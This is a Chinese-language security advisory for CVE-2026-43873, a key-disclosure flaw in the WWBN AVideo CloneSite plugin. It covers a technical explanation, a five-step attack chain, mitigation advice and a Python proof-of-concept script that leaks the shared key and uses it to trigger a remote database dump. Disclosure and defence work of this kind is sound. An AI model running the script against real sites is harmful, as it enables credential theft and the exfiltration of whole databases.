IPBUF安全漏洞报告
English
CVE-2026-43873 CVSS 7.5 高危

CVE-2026-43873: WWBN AVideo CloneSite插件敏感密钥信息泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43873
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

信息泄露WWBN AVideo敏感数据泄露CWE-2000day

漏洞概述

WWBN AVideo是一个开源的视频托管平台。在29.0及以下版本中,其CloneSite插件存在严重的信息泄露漏洞。具体而言,`plugin/CloneSite/cloneClient.json.php`文件在处理未认证请求时,由于错误处理逻辑的缺陷,会将用于站点间通信认证的共享密钥直接回显在HTTP响应体中。该密钥通常是基于系统路径和盐值生成的MD5值。攻击者无需任何身份认证即可通过网络请求获取此密钥。在AVideo配置了远程克隆URL的标准联邦或备份场景下,泄露的密钥正是受害者向远程服务器进行身份验证的凭证。攻击者利用该密钥可以冒充受害者服务器,向远程克隆服务器发送请求,从而触发远程数据库的完整mysqldump转储,并将备份文件保存到公开可访问的目录中,导致极其敏感的数据泄露。

技术细节

该漏洞的核心技术问题位于`plugin/CloneSite/cloneClient.json.php`文件中。代码逻辑设计用于验证请求者是否持有有效的共享密钥。当接收到未提供有效密钥的请求时,程序进入错误处理分支。本意是拒绝非管理员调用,但在构造拒绝响应消息时,代码错误地将预期的密钥值(`$objClone->myKey`)直接内插到了响应字符串中,随后才调用`die()`函数终止执行。这意味着,任何针对该端点的HTTP请求(即便是未认证的恶意请求)都会导致服务器在返回错误的同时,泄露正确的认证凭证。

在受影响的AVideo部署架构中,管理员通常会配置`cloneSiteURL`以实现站点联邦或远程备份功能。此时,受害者的本地`myKey`是其向远程克隆服务器(`cloneServer.json.php`)证明身份的唯一凭证。由于密钥生成算法依赖于`$global['systemRootPath']`和`$global['salt']`,且被错误泄露,攻击者获取该密钥后,便拥有了与受害者服务器同等的权限。

攻击链的下一步是利用泄露的密钥向远程服务器的`cloneServer.json.php`接口发送伪造请求。远程服务器接收到请求后,验证`myKey`匹配,从而误认为请求来自合法的受害服务器。随后,远程服务器会执行`mysqldump`操作,将整个数据库导出。根据系统配置,导出的SQL文件通常被保存到`videos/clones/`目录下,该目录往往可以通过公网直接访问。这导致攻击者不仅窃取了认证凭证,还利用该凭证实现了对远程数据库的完整拉取,造成了严重的数据失窃风险。修复该漏洞的提交记录为e6566f56a28f4556b2a0a09d03717a719dcb49da。

攻击链分析

STEP 1
侦察
攻击者识别出使用WWBN AVideo且版本低于或等于29.0的目标网站,并确定其启用了CloneSite插件。
STEP 2
密钥窃取
攻击者向目标的`plugin/CloneSite/cloneClient.json.php`端点发送一个未认证的HTTP GET请求。
STEP 3
信息提取
目标服务器响应错误消息,其中内插了`myKey`(共享密钥)。攻击者从响应正文中解析出该32位的MD5密钥。
STEP 4
身份伪造
攻击者使用窃取到的`myKey`构造数据包,向目标配置的远程克隆服务器(`cloneServer.json.php`)发送伪造的同步或备份请求。
STEP 5
数据窃取
远程服务器验证密钥匹配后,误以为请求来自合法的受害服务器,执行`mysqldump`并将数据库备份文件写入`videos/clones/`目录。攻击者随后从该公开目录下载敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Target configuration target_url = "http://target-site.com/plugin/CloneSite/cloneClient.json.php" # 1. Exploit the information disclosure vulnerability print("[*] Attempting to leak the shared secret key...") try: response = requests.get(target_url) # 2. Analyze the response to extract the key # The description states the key is interpolated in the error message. # It is typically a 32-character MD5 hash. match = re.search(r'([a-fA-F0-9]{32})', response.text) if match: leaked_key = match.group(1) print(f"[+] Successfully leaked key: {leaked_key}") # 3. Demonstrate potential impact (Triggering remote dump) # Assuming the victim has a remote clone server configured remote_clone_url = "http://remote-server.com/plugin/CloneSite/cloneServer.json.php" print(f"[*] Attempting to authenticate to remote server using leaked key...") payload = { "myKey": leaked_key, "action": "sync" # Hypothetical action to trigger the dump } exploit_response = requests.post(remote_clone_url, data=payload) if exploit_response.status_code == 200: print("[+] Remote server accepted the request.") print("[!] Database dump likely initiated and saved to public directory.") else: print(f"[-] Remote server returned status: {exploit_response.status_code}") else: print("[-] Could not find key in response. Target might be patched.") print(response.text[:200]) # Debug output except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
在无法立即升级补丁的情况下,建议管理员通过Web服务器(如Nginx或Apache)配置访问控制规则,阻断外部对`/plugin/CloneSite/cloneClient.json.php`及整个CloneSite插件目录的HTTP请求。此外,应检查服务器日志,确认是否已有密钥被窃取的行为,如果发现异常,应立即重置系统盐值(salt)并重新生成密钥,同时排查远程备份目录中是否存在异常的数据库转储文件。

参考链接